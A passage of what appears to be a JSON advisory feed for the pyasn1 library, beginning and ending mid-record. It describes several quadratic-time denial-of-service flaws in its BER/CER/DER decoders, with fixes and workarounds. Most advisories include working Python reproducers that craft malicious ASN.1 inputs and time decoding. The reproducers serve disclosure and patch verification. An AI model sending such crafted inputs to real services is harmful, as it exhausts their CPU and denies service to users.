issue without special conditions, privileges, or user interaction. Repeated crafted values could occupy a finite decoder-worker pool and deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not claim that every application is network-exposed or fully unavailable; deployment-specific input limits and architecture may change the score. See [FIRST's library-scoring guidance](https://www.first.org/cvss/v3-1/user-guide).\n\n## Reproducer\n\nThe definite-length example below is valid BER. It is deliberately not a conforming CER or DER encoding. The second constructor uses conforming CER fragment sizing and framing. CPU times are machine-dependent; run the larger cases only in a local test environment.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber_decoder\nfrom pyasn1.codec.cer import decoder as cer_decoder\nfrom pyasn1.codec.der import decoder as der_decoder\nfrom pyasn1.error import PyAsn1Error\nfrom pyasn1.type import univ\n\n\ndef encode_length(size):\n    octets = size.to_bytes((size.bit_length() + 7) // 8, \"big\")\n    return bytes((0x80 | len(octets),)) + octets\n\n\ndef definite_fragments(count):\n    body = b\"\\x03\\x02\\x00\\xa5\" * count  # one data octet per BIT STRING fragment\n    return b\"\\x23\" + encode_length(len(body)) + body\n\n\ndef cer_fragments(count):\n    # Each primitive fragment has 1000 contents octets: one unused-bits\n    # octet (zero) followed by 999 data octets.\n    fragment = b\"\\x03\" + encode_length(1000) + b\"\\x00\" + b\"\\xa5\" * 999\n    return b\"\\x23\\x80\" + fragment * count + b\"\\x00\\x00\"\n\n\ndef measure(label, decode, payload, **options):\n    start = time.process_time()\n    value, remainder = decode(payload, **options)\n    print(label, len(payload), f\"{time.process_time() - start:.3f}s CPU\")\n    assert not remainder and len(value) \u003e 0\n\n\nfor count in (50_000, 100_000, 200_000):\n    measure(f\"BER {count} fragments\", ber_decoder.decode,\n            definite_fragments(count))\n\nfor count in (1_000, 2_000, 4_000):\n    measure(f\"CER {count} fragments\", cer_decoder.decode,\n            cer_fragments(count))\n\nsample = definite_fragments(1_000)\nmeasure(\"DER with BIT STRING schema\", der_decoder.decode, sample,\n        asn1Spec=univ.BitString())\ntry:\n    der_decoder.decode(sample)\nexcept PyAsn1Error:\n    print(\"DER without schema rejects the constructed value\")\nelse:\n    raise AssertionError(\"DER unexpectedly accepted schema-less input\")\n```\n\n## Verification\n\nLocal measurements of the official v0.6.4 tag on CPython 3.14.8 used `time.process_time()`. A local 0.6.5 candidate containing the fix was timed on the same machine. Times are illustrative, not a guaranteed cost on other systems.\n\n| Input | Size | v0.6.4 CPU | 0.6.5 candidate CPU |\n| --- | ---: | ---: | ---: |\n| BER definite, 50,000 fragments | 0.20 MB | 0.530 s | 0.084 s |\n| BER definite, 100,000 fragments | 0.40 MB | 1.915 s | 0.170 s |\n| BER definite, 200,000 fragments | 0.80 MB | 7.392 s | 0.344 s |\n| Conforming CER, 1,000 fragments | 1.004 MB | 0.163 s | 0.0035 s |\n| Conforming CER, 2,000 fragments | 2.008 MB | 0.657 s | 0.0070 s |\n| Conforming CER, 4,000 fragments | 4.016 MB | 2.582 s | 0.0144 s |\n\nThe definite BER input with 100,000 fragments also decoded through DER with `asn1Spec=univ.BitString()` in 1.949 s on v0.6.4, versus 0.172 s with the 0.6.5 candidate. Schema-less DER rejected the same input. Independent reports reproduced the old behavior on v0.6.4: one measured 21.1 s for a 1.28 MB definite-length value; another measured 7.25 s for a 0.8 MB value versus 2.8 ms for a primitive BIT STRING carrying the same data volume. These measurements were taken on different systems and should not be compared as a single benchmark series.\n\n## Resolution\n\nUpgrade to pyasn1 0.6.5. The decoder assembles fragment bits in a `bytearray`, preserves decoded bit values including intermediate-fragment padding, and converts the complete payload to a BIT STRING once. This removes the repeated shift of the growing integer in both constructed decoding loops.\n\nFor applications that cannot upgrade immediately, enforce an application-appropriate limit on untrusted ASN.1 input size **before** passing it to pyasn1. Such a limit bounds exposure but does not change the quadratic behavior of 0.6.4. Where a protocol forbids constructed BIT STRING, rejecting that encoding before decoding also prevents this path.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-30T23:07:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-2qm8-x737-gmw5","https://nvd.nist.gov/vuln/detail/CVE-2026-119196","https://github.com/pyasn1/pyasn1/pull/132","https://github.com/pyasn1/pyasn1/commit/73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5","https://github.com/advisories/GHSA-2qm8-x737-gmw5"],"source_kind":"github","identifiers":["GHSA-2qm8-x737-gmw5","CVE-2026-119196"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-20T05:00:57.321Z","epss_percentage":0.00425,"epss_percentile":0.37548,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycW04LXg3MzctZ213Nc4ACALO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ycW04LXg3MzctZ213Nc4ACALO","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.5","vulnerable_version_range":"\u003c= 0.6.4"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycW04LXg3MzctZ213Nc4ACALO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tbTU3LTR2M3AtcmNoeM4ACALN","url":"https://github.com/advisories/GHSA-mm57-4v3p-rchx","title":"pyasn1 has quadratic-complexity denial of service in binary REAL decoding","description":"## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a binary-encoded ASN.1 REAL with a large mantissa can consume CPU time quadratic in the mantissa length. The BER, CER, and DER decoders all use the affected `RealPayloadDecoder`. An application is exposed when it passes attacker-controlled ASN.1 containing a REAL value to one of these decoders, either without an `asn1Spec` or with a schema that includes REAL. The work occurs inside `decode()`; the application does not need to convert, print, or otherwise use the resulting REAL object.\n\nThis is distinct from [CVE-2026-59886](https://github.com/advisories/GHSA-hm4w-wwcw-mr6r), which concerns converting an already-decoded REAL to a Python float. That issue was fixed in 0.6.4 and its advisory states that decoding alone does not trigger it.\n\n## Root cause and affected components\n\nFor binary REAL values, [`RealPayloadDecoder.valueDecoder` in v0.6.4](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L535-L603) builds the mantissa one octet at a time:\n\n```python\np = 0\nwhile chunk:\n    p \u003c\u003c= 8\n    p |= chunk[0]\n    chunk = chunk[1:]\n```\n\nEach shift processes an integer that grows with the mantissa; with byte strings, each slice also copies the remaining suffix. Repeating both operations for every octet makes decoding quadratic in mantissa size. The decoder's [eight-octet length-field limit](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1704-L1717) does not impose a practical mantissa-size limit for the inputs demonstrated below. [CER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/cer/decoder.py#L51-L62) and [DER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L23-L31) reuse the BER REAL payload decoder, so all three paths reach this loop.\n\nThe vulnerable loop is present in every available repository release tag inspected, from v0.2.1 through v0.6.4. Runtime measurements below were made on v0.6.4; older releases were checked for the loop, not benchmarked individually.\n\n## Impact\n\nA comparatively small REAL value can hold a decoder worker on one CPU core for seconds or longer. The attacker must be able to supply data that the application sends to an affected decoder, and application-level input limits may reduce exposure. The demonstrated effect is CPU exhaustion during decoding; this advisory does not assert a network endpoint, unauthenticated access, or an affected downstream application by itself.\n\n## Reproduction and evidence\n\nThe following example uses pyasn1 0.6.4. The `0x09` tag identifies REAL; `0x80 0x00` selects a positive, base-2 binary value with a one-octet zero exponent, followed by a large mantissa. It exercises `decode()` only.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\n\n\ndef real_value(mantissa_octets):\n    content = b\"\\x80\\x00\" + b\"\\xff\" * mantissa_octets\n    length = len(content).to_bytes(3, \"big\")\n    return b\"\\x09\\x83\" + length + content\n\n\nfor codec in (ber, cer, der):\n    for size in (50_000, 100_000, 200_000):\n        substrate = real_value(size)\n        started = time.process_time()\n        value, rest = codec.decode(substrate)\n        print(codec.__name__, size, time.process_time() - started)\n        assert not rest\n        assert tuple(value)[1:] == (2, 0)\n```\n\nThe original report measured the following BER CPU times on repository commit `aa05757`. That commit is later than the official v0.6.4 tag; the vulnerable loop is identical in the tagged release.\n\n| Mantissa size | Reporter's BER CPU time |\n| ---: | ---: |\n| 50,000 octets | 0.328 s |\n| 100,000 octets | 1.299 s |\n| 200,000 octets | 6.043 s |\n| 400,000 octets | 24.095 s |\n\nThe same report measured 5.645 s for a 200,000-octet mantissa through DER.\n\nA separate local reproduction on the official v0.6.4 tag (`d43496f`, CPython 3.14.8, macOS arm64) measured BER at 0.209 s, 0.884 s, and 3.451 s for 50,000, 100,000, and 200,000 mantissa octets respectively. CER and DER each took about 0.89 s at 100,000 octets. These are machine-specific measurements; the repeated near-fourfold cost for doubled input is the relevant result. Neither reproduction calls `float()`, `str()`, or `prettyPrint()`.\n\n## Fix\n\npyasn1 0.6.5 replaces the per-octet shift and slice loop with one `int.from_bytes(bytes(chunk), \"big\")` conversion. Sign, scale, exponent, and the decoded REAL tuple are preserved. The fix is in the shared BER payload decoder and therefore covers BER, CER, and DER. A local check of the 0.6.5 candidate decoded a 200,000-octet mantissa correctly through all three codecs; the check does not establish behavior for every application using REAL.\n\n## Workarounds\n\nUpgrade to pyasn1 0.6.5. Until then, reject or strictly limit attacker-controlled ASN.1 input that may contain REAL values before passing it to pyasn1. The appropriate size limit depends on the application's available CPU time and request volume.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-30T23:06:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-mm57-4v3p-rchx","https://nvd.nist.gov/vuln/detail/CVE-2026-119197","https://github.com/pyasn1/pyasn1/pull/132","https://github.com/pyasn1/pyasn1/commit/ce3ec3390784780a530047e0e77be5ff457636a4","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5","https://github.com/advisories/GHSA-mm57-4v3p-rchx"],"source_kind":"github","identifiers":["GHSA-mm57-4v3p-rchx","CVE-2026-119197"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-20T05:00:57.321Z","epss_percentage":0.00425,"epss_percentile":0.37547,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbTU3LTR2M3AtcmNoeM4ACALN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tbTU3LTR2M3AtcmNoeM4ACALN","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.5","vulnerable_version_range":"\u003c= 0.6.4"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tbTU3LTR2M3AtcmNoeM4ACALN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05bTc1LXZjM2ctNHgzOc4ACALM","url":"https://github.com/advisories/GHSA-9m75-vc3g-4x39","title":"pyasn1 has quadratic-time denial of service in constructed string and indefinite-length ANY decoding","description":"## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a constructed OCTET STRING or character string made of many fragments can spend disproportionate CPU time repeatedly copying the accumulated value. A separate indefinite-length `ANY` path has the same problem while collecting the encoded components. The work grows roughly quadratically with the number of fixed-size fragments, although the input and decoded value grow linearly. An application that lets an attacker supply such ASN.1 input to an affected decoder can suffer CPU exhaustion.\n\nThe affected string paths are available in BER and CER. The DER decoder also accepts certain *non-DER* constructed strings: a definite-length constructed OCTET STRING when an `asn1Spec` selects `univ.OctetString`, and constructed character strings such as UTF8String even without a schema. Indefinite-length `ANY` is affected in BER and CER when an `asn1Spec` selects `univ.Any`; DER rejects indefinite lengths.\n\nThis is a distinct decoder path from the OBJECT IDENTIFIER/RELATIVE-OID accumulation addressed by [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj). It has the same complexity class, but the OID fix in 0.6.4 did not change these string or `ANY` loops.\n\n## Technical details\n\nIn the [v0.6.4 BER decoder](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py), `OctetStringPayloadDecoder` appends each decoded fragment to a growing `bytes` value with `header += component` in both its [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L338-L351) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L368-L387) constructed forms. [`AnyPayloadDecoder.indefLenValueDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1403-L1430) similarly uses `chunk += component`. In the exercised paths, each concatenation copies an increasingly large prefix. For `N` fixed-size fragments, the total copied data grows with `1 + 2 + ... + N`, or O(N²).\n\nThe OCTET STRING decoder is also the base class of the decoders for UTF8String, NumericString, PrintableString, TeletexString, VideotexString, IA5String, GraphicString, VisibleString, GeneralString, UniversalString, BMPString, ObjectDescriptor, GeneralizedTime, and UTCTime. These types inherit the same constructed-string reassembly path.\n\nThe [DER decoder's OCTET STRING restriction](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L15-L49) replaces the tag-driven decoder, but its schema-driven `TYPE_MAP` retains the BER-derived decoder. Thus `der.decode(data)` rejects a constructed OCTET STRING, while `der.decode(data, asn1Spec=univ.OctetString())` accepts its definite-length form and reaches the accumulation loop. DER does not replace the inherited character-string decoders, so a constructed UTF8String is also accepted without `asn1Spec`. These inputs violate [X.690's DER string-encoding rule](https://www.itu.int/rec/T-REC-X.690-202102-I/en) and should not be described as valid DER encodings.\n\nThe original short-fragment, definite-length OCTET STRING reproducer is valid BER. The CER decoder accepts it, but it is not a conforming CER string encoding: X.690 requires an indefinite-length outer constructed string and 1,000 contents octets per fragment except possibly the last. A conforming CER-shaped constructed OCTET STRING with those fragment sizes also reaches the loop and shows quadratic growth. The indefinite-length `ANY` reproducer below can represent a CER `SEQUENCE OF OCTET STRING` and reaches the separate `ANY` loop when decoded with an `ANY` schema.\n\nThe decoder's eight-octet length-field limit and nesting-depth limit do not bound the number of sibling fragments in these examples. The BER reproducer below uses only a three-octet outer length field; all fragments have shallow nesting. There is no per-message fragment-count cap in v0.6.4.\n\n## Impact\n\nIf an application passes attacker-controlled ASN.1 to the affected `decode()` or `StreamingDecoder` path without an adequate input or resource limit, a megabyte-scale value can occupy a decoding worker for seconds. Repeated inputs can exhaust available CPU. Whether this is reachable before authentication, or through a particular protocol, depends on the application; the library finding alone does not establish those conditions. No confidentiality or integrity impact is claimed.\n\n## Severity assessment (CVSS v3.1)\n\nThe 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER inputs trigger the string-reassembly issue without special conditions, privileges, or user interaction. Repeated crafted inputs could occupy all available decoder workers and deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not assert that every adopter has such an endpoint or loses all service; deployment-specific input limits and architecture may change the score. See [FIRST's library-scoring guidance](https://www.first.org/cvss/v3-1/user-guide).\n\nOn the official v0.6.4 tag, local CPU-time measurements with CPython 3.14.8 on macOS arm64 gave the following results. Times vary by machine and Python runtime; the input-size scaling is the relevant observation. “Fixed” means the local 0.6.5 decoder fix applied to the same inputs.\n\n| Decoder path and input | Fragments | v0.6.4 CPU | Fixed CPU |\n| --- | ---: | ---: | ---: |\n| BER constructed OCTET STRING, 0.40 MB | 100,000 × 2 payload bytes | 0.340 s | 0.160 s |\n| BER constructed OCTET STRING, 0.80 MB | 200,000 × 2 payload bytes | 0.886 s | 0.312 s |\n| BER constructed OCTET STRING, 1.60 MB | 400,000 × 2 payload bytes | 2.738 s | 0.623 s |\n| BER indefinite `ANY`, 0.30 MB | 100,000 × 1 payload byte | 0.459 s | 0.206 s |\n| BER indefinite `ANY`, 0.60 MB | 200,000 × 1 payload byte | 1.245 s | 0.412 s |\n| BER indefinite `ANY`, 1.20 MB | 400,000 × 1 payload byte | 3.980 s | 0.826 s |\n| CER constructed OCTET STRING, 1.00 MB, conforming fragment layout | 1,000 × 1,000 payload bytes | 0.0089 s | 0.0022 s |\n| CER constructed OCTET STRING, 2.01 MB, conforming fragment layout | 2,000 × 1,000 payload bytes | 0.0311 s | 0.0044 s |\n| CER constructed OCTET STRING, 4.02 MB, conforming fragment layout | 4,000 × 1,000 payload bytes | 0.1379 s | 0.0090 s |\n\nFor the same short-fragment layout, the original report measured up to 16.05 seconds for a 3.2 MB BER constructed OCTET STRING. An independent report on CPython 3.11.16/Linux measured 5.76 seconds for a 2.4 MB constructed OCTET STRING, versus about 0.005 seconds for a primitive OCTET STRING of comparable size. These are reporter measurements on different systems, not fixed performance guarantees.\n\n## Reproduction\n\nThis example uses public decoder APIs. Run it with pyasn1 0.6.4 and increase `n` to observe the scaling. The final two calls show the DER paths accepted by v0.6.4; their constructed encodings are not valid DER.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\nfrom pyasn1.type import univ\n\n\ndef tlv(identifier, contents):\n    length = len(contents)\n    if length \u003c 128:\n        return bytes((identifier, length)) + contents\n    encoded = length.to_bytes((length.bit_length() + 7) // 8, \"big\")\n    return bytes((identifier, 0x80 | len(encoded))) + encoded + contents\n\n\ndef measure(label, decode, substrate, asn1Spec=None):\n    start = time.process_time()\n    _, rest = decode(substrate, asn1Spec=asn1Spec)\n    assert not rest\n    print(f\"{label}: {len(substrate)} input bytes, \"\n          f\"{time.process_time() - start:.3f} CPU seconds\")\n\n\nn = 100_000\noctet_fragments = b\"\\x04\\x02AA\" * n\nutf8_fragments = b\"\\x0c\\x02AA\" * n\n\nmeasure(\"BER constructed OCTET STRING\", ber.decode,\n        tlv(0x24, octet_fragments))\nmeasure(\"BER indefinite ANY\", ber.decode,\n        b\"\\x30\\x80\" + b\"\\x04\\x01A\" * n + b\"\\x00\\x00\",\n        univ.Any())\n\n# CER uses indefinite length and 1,000-content-octet primitive fragments.\ncer_fragment = tlv(0x04, b\"A\" * 1000)\nmeasure(\"CER constructed OCTET STRING\", cer.decode,\n        b\"\\x24\\x80\" + cer_fragment * 1000 + b\"\\x00\\x00\")\n\n# These constructed encodings are accepted by pyasn1 but are invalid DER.\nmeasure(\"DER OCTET STRING with schema\", der.decode,\n        tlv(0x24, octet_fragments), univ.OctetString())\nmeasure(\"DER UTF8String without schema\", der.decode,\n        tlv(0x2c, utf8_fragments))\n```\n\n## Patch\n\npyasn1 0.6.5 replaces the growing `bytes` accumulator with a list of fragments and joins them once after decoding in all three affected loops. The OCTET STRING base-class change also covers the inheriting character-string decoders. This removes the repeated copying while preserving the assembled decoded value.\n\n## Workaround\n\nUntil upgrading, enforce application-appropriate limits on the size of untrusted ASN.1 input *before* passing it to pyasn1, and limit the CPU resources available to decoding workers. Applications that require DER can also reject constructed string encodings before invoking the decoder. The appropriate byte limit depends on the protocol and expected valid values.\n\n## Credits and references\n\nReported by [alimony](https://github.com/alimony). Independently reported by [manus-pi](https://github.com/manus-pi), whose report identified the schema-driven DER route, inherited character-string decoders, and additional performance evidence.\n\n- [pyasn1 v0.6.4 affected decoder source](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py)\n- [ITU-T X.690, CER and DER string-encoding rules](https://www.itu.int/rec/T-REC-X.690-202102-I/en)\n- [CVE-2026-59885, separate OID decoder issue](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-30T23:03:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-9m75-vc3g-4x39","https://nvd.nist.gov/vuln/detail/CVE-2026-119195","https://github.com/pyasn1/pyasn1/pull/132","https://github.com/pyasn1/pyasn1/commit/4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5","https://github.com/advisories/GHSA-9m75-vc3g-4x39"],"source_kind":"github","identifiers":["GHSA-9m75-vc3g-4x39","CVE-2026-119195"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-03T13:00:09.894Z","epss_percentage":0.00527,"epss_percentile":0.44611,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05bTc1LXZjM2ctNHgzOc4ACALM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05bTc1LXZjM2ctNHgzOc4ACALM","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.5","vulnerable_version_range":"\u003c= 0.6.4"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05bTc1LXZjM2ctNHgzOc4ACALM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mbTljLTVyY2YtMnE1cM4ACALL","url":"https://github.com/advisories/GHSA-fm9c-5rcf-2q5p","title":"pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding","description":"### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom pyasn1.codec.ber import decoder\nfrom pyasn1.type import univ\n\n\ndef enc_tag(tag_id):\n    groups = [tag_id \u0026 0x7f]\n    tag_id \u003e\u003e= 7\n    while tag_id:\n        groups.append((tag_id \u0026 0x7f) | 0x80)\n        tag_id \u003e\u003e= 7\n    return b'\\xbf' + bytes(reversed(groups))\n\n\ndef payload(tag_ids):\n    body = b''.join(enc_tag(tag_id) + b'\\x03\\x04\\x01A'\n                    for tag_id in tag_ids)\n    length = len(body).to_bytes((len(body).bit_length() + 7) // 8, 'big')\n    return b'\\x30' + bytes([0x80 | len(length)]) + length + body\n\n\nfor count in (3200, 6400):\n    cases = (\n        (\"collision\", [32 + i * sys.hash_info.modulus\n                       for i in range(count)]),\n        (\"control\", [(1 \u003c\u003c 70) + i for i in range(count)]),\n    )\n    for name, tag_ids in cases:\n        wire = payload(tag_ids)\n        start = time.process_time()\n        value, remainder = decoder.decode(wire)\n        cpu_seconds = time.process_time() - start\n\n        assert type(value) is univ.Sequence\n        assert len(value) == count and remainder == b''\n        for position, tag_id in enumerate(tag_ids):\n            component = value.getComponentByPosition(position)\n            assert component.asOctets() == b'A'\n            assert component.tagSet[-1].tagId == tag_id\n\n        print(count, name, len(wire), round(cpu_seconds, 3))\n```\n\n### Impact\n\nApplications that pass attacker-controlled bytes to schemaless BER, CER, or DER decoding can spend disproportionate CPU time on a relatively small, valid input. The demonstrated impact is availability; no confidentiality or integrity impact was observed.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-30T23:03:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-fm9c-5rcf-2q5p","https://nvd.nist.gov/vuln/detail/CVE-2026-119194","https://github.com/pyasn1/pyasn1/pull/132","https://github.com/pyasn1/pyasn1/commit/a36e3a3d067148d26197a6b7221fd0e2cde9cc86","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5","https://github.com/advisories/GHSA-fm9c-5rcf-2q5p"],"source_kind":"github","identifiers":["GHSA-fm9c-5rcf-2q5p","CVE-2026-119194"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-31T00:00:11.004Z","updated_at":"2026-11-20T05:00:57.322Z","epss_percentage":0.00425,"epss_percentile":0.37547,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mbTljLTVyY2YtMnE1cM4ACALL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mbTljLTVyY2YtMnE1cM4ACALL","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.5","vulnerable_version_range":"\u003e= 0.3.3, \u003c 0.6.5"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mbTljLTVyY2YtMnE1cM4ACALL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1obTR3LXd3Y3ctbXI2cs4ABfJP","url":"https://github.com/advisories/GHSA-hm4w-wwcw-mr6r","title":"pyasn1: Uncontrolled resource consumption when converting decoded REAL values","description":"### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value — prettyPrint(), str(), comparison, arithmetic, or an explicit float() call — consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real — float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as \u003coverflow\u003e.\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-21T19:11:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r","https://nvd.nist.gov/vuln/detail/CVE-2026-59886","https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4","https://github.com/advisories/GHSA-hm4w-wwcw-mr6r"],"source_kind":"github","identifiers":["GHSA-hm4w-wwcw-mr6r","CVE-2026-59886"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T20:00:09.146Z","updated_at":"2026-11-11T06:04:01.118Z","epss_percentage":0.0044,"epss_percentile":0.38504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obTR3LXd3Y3ctbXI2cs4ABfJP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1obTR3LXd3Y3ctbXI2cs4ABfJP","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.4","vulnerable_version_range":"\u003c= 0.6.3"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obTR3LXd3Y3ctbXI2cs4ABfJP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04cHBmLTRmN2gtNXBwas4ABfJO","url":"https://github.com/advisories/GHSA-8ppf-4f7h-5ppj","title":"pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service","description":"### Impact\nThe BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.\n\nThe arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.\n\n### Affected components\nObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; 